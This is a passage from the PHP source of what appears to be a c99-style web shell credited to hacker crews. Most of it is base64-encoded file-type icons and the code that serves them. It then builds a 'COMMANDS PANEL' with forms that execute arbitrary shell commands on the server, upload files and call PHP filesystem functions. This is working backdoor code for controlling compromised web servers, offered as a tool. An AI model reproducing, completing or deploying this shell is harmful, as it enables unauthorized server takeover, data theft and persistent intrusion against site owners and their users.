  2320. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2321. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2322. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2323. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2324. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2325. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2326. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2327. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2328. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2329. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2330. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2331. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2332. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2333. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2334. "sql_button_insert"=>
  2335. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2336. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2337. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2338. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2339. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2340. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2341. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2342. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2343. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2344. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2345. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2346. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2347. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2348. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2349. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2350. "up"=>
  2351. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2352. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2353. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2354. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2355. "write"=>
  2356. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2357. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2358. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2359. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2360. "ext_asp"=>
  2361. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2362. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2363. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2364. "ext_mp3"=>
  2365. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2366. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2367. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2368. "ext_avi"=>
  2369. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2370. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2371. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2372. "ext_cgi"=>
  2373. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2374. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2375. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2376. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2377. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2378. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2379. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2380. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2381. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2382. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2383. "RYtMAgEAOw==",
  2384. "ext_cmd"=>
  2385. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2386. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2387. "dmrYAMn1onq/YKpjvEgAADs=",
  2388. "ext_cpp"=>
  2389. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2390. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2391. "Eq7YrLDE7a4SADs=",
  2392. "ext_ini"=>
  2393. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2394. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2395. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2396. "ext_diz"=>
  2397. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2398. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2399. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2400. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2401. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2402. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2403. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2404. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2405. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2406. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2407. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2408. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2409. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2410. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2411. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2412. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2413. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2414. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2415. "Ow==",
  2416. "ext_doc"=>
  2417. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2418. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2419. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2420. "ext_exe"=>
  2421. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2422. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2423. "xhIAOw==",
  2424. "ext_h"=>
  2425. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2426. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2427. "Wq/NknbbSgAAOw==",
  2428. "ext_hpp"=>
  2429. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2430. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2431. "UqUagnbLdZa+YFcCADs=",
  2432. "ext_htaccess"=>
  2433. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2434. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2435. "AAA7",
  2436. "ext_html"=>
  2437. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2438. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2439. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2440. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2441. "ADs=",
  2442. "ext_jpg"=>
  2443. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2444. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2445. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2446. "FxEAOw==",
  2447. "ext_js"=>
  2448. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2449. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2450. "a00AjYYBbc/o9HjNniUAADs=",
  2451. "ext_lnk"=>
  2452. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2453. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2454. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2455. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2456. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2457. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2458. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2459. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2460. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2461. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2462. "ADs=",
  2463. "ext_log"=>
  2464. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2465. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2466. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2467. "ext_php"=>
  2468. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
  2469. "aGeyYpqJlRG/rlwAADs=",
  2470. "ext_pl"=>
  2471. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2472. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2473. "ext_swf"=>
  2474. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2475. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2476. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2477. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2478. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2479. "ext_tar"=>
  2480. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2481. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2482. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2483. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2484. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2485. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2486. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2487. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2488. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2489. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2490. "u4tLAgEAOw==",
  2491. "ext_txt"=>
  2492. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2493. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2494. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2495. "ext_wri"=>
  2496. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2497. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2498. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2499. "ext_xml"=>
  2500. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2501. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2502. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2503. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2504. "IQA7"
  2505. );
  2506. //Untuk optimalisasi ukuran dan kecepatan.
  2507. $imgequals = array(
  2508.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2509.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2510.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2511.   "ext_html"=>array("ext_html","ext_htm"),
  2512.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2513.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2514.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2515.   "ext_doc"=>array("ext_doc","ext_dot"),
  2516.   "ext_js"=>array("ext_js","ext_vbs"),
  2517.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2518.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2519.   "ext_swf"=>array("ext_swf","ext_fla"),
  2520.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2521.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2522. );
  2523. if (!$getall) {
  2524.   header("Content-type: image/gif");
  2525.   header("Cache-control: public");
  2526.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2527.   header("Cache-control: max-age=".(60*60*24*7));
  2528.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2529.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2530.   if (empty($images[$img])) {$img = "small_unk";}
  2531.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2532.   echo base64_decode($images[$img]);
  2533. }
  2534. else {
  2535.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2536.   natsort($images);
  2537.   $k = array_keys($images);
  2538.   echo  "<center>";
  2539.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2540.   echo "</center>";
  2541. }
  2542. exit;
  2543. }
  2544. if ($act == "about") {
  2545.   echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>".
  2546.        "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>".
  2547.        "Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz CoMMuNiTy]</b><br><br>".
  2548.        "Report bugs to <a href=\"mailto:feelcomz@gmail.com\">FaTaLisTiCz_Fx</a></b>";
  2549. }
  2550. echo "</td></tr></table>\n";
  2551. /*** COMMANDS PANEL ***/
  2552. ?>
  2553. <div  class=bartitle><b>.: COMMANDS PANEL :.</b></div>
  2554. <table class=mainpanel>
  2555. <tr><td align=right>Command:</td>
  2556. <td><form method="POST">
  2557.     <input type=hidden name=act value="cmd">
  2558.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2559.     <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
  2560.     <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
  2561.     </form>
  2562. </td></tr>
  2563. <tr><td align=right>Quick Commands:</td>
  2564. <td><form method="POST">
  2565.     <input type=hidden name=act value="cmd">
  2566.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2567.     <input type=hidden name="cmd_txt" value="1">
  2568.     <select name="cmd">
  2569.     <?php
  2570.     foreach ($cmdaliases as $als) {
  2571.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2572.     }
  2573.     foreach ($cmdaliases2 as $als) {
  2574.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2575.     }
  2576.     ?>
  2577.     </select> <input type=submit name=submit value="Execute">
  2578.     </form>
  2579. </td></tr>
  2580. <tr><td align=right>Upload:</td>
  2581. <td><form method="POST" enctype="multipart/form-data">
  2582.     <input type=hidden name=act value="upload">
  2583.     <input type=hidden name="miniform" value="1">
  2584.     <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
  2585.     </form>
  2586. </td></tr>
  2587. <tr><td align=right>PHP Filesystem:</td>
  2588. <td>
  2589. <?php ##[ FaTaLisTiCz_Fx TriCkz ]## ?>
  2590. <script language="javascript">
  2591. function set_arg(txt1,txt2) {
  2592.   document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
  2593.   document.forms.fphpfsys.arg1.value = txt1;
  2594.   document.forms.fphpfsys.arg2.value = txt2;
  2595. }
  2596. function chg_arg(num,txt1,txt2) {
  2597.   if (num==0) {
  2598.     document.forms.fphpfsys.arg1.type = "hidden";
  2599.     document.forms.fphpfsys.A1.type = "hidden";
  2600.   }
  2601.   if (num<=1) {
  2602.     document.forms.fphpfsys.arg2.type = "hidden";
  2603.     document.forms.fphpfsys.A2.type = "hidden";
  2604.   }
  2605.   if (num==2) {
  2606.     document.forms.fphpfsys.A1.type = "label";
  2607.     document.forms.fphpfsys.A2.type = "label";
  2608.     document.forms.fphpfsys.arg1.type = "text";
  2609.     document.forms.fphpfsys.arg2.type = "text";
  2610.   }
  2611.   document.forms.fphpfsys.A1.value = txt1 + ":";
  2612.   document.forms.fphpfsys.A2.value = txt2 + ":";
  2613. }
  2614. </script>
  2615. <?php
  2616.   echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
  2617.        "<select name=\"phpfsysfunc\">\r\n";
  2618.   foreach ($phpfsaliases as $als) {
  2619.     if ($als[1]==$phpfsysfunc) {
  2620.       echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2621.     }
  2622.     else {
  2623.       echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2624.     }
  2625.   }
  2626.   echo "</select>\r\n".
  2627.        "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
  2628.        "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
  2629.        "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
  2630.   foreach ($sh_sourcez as $e => $o) {
  2631.     echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
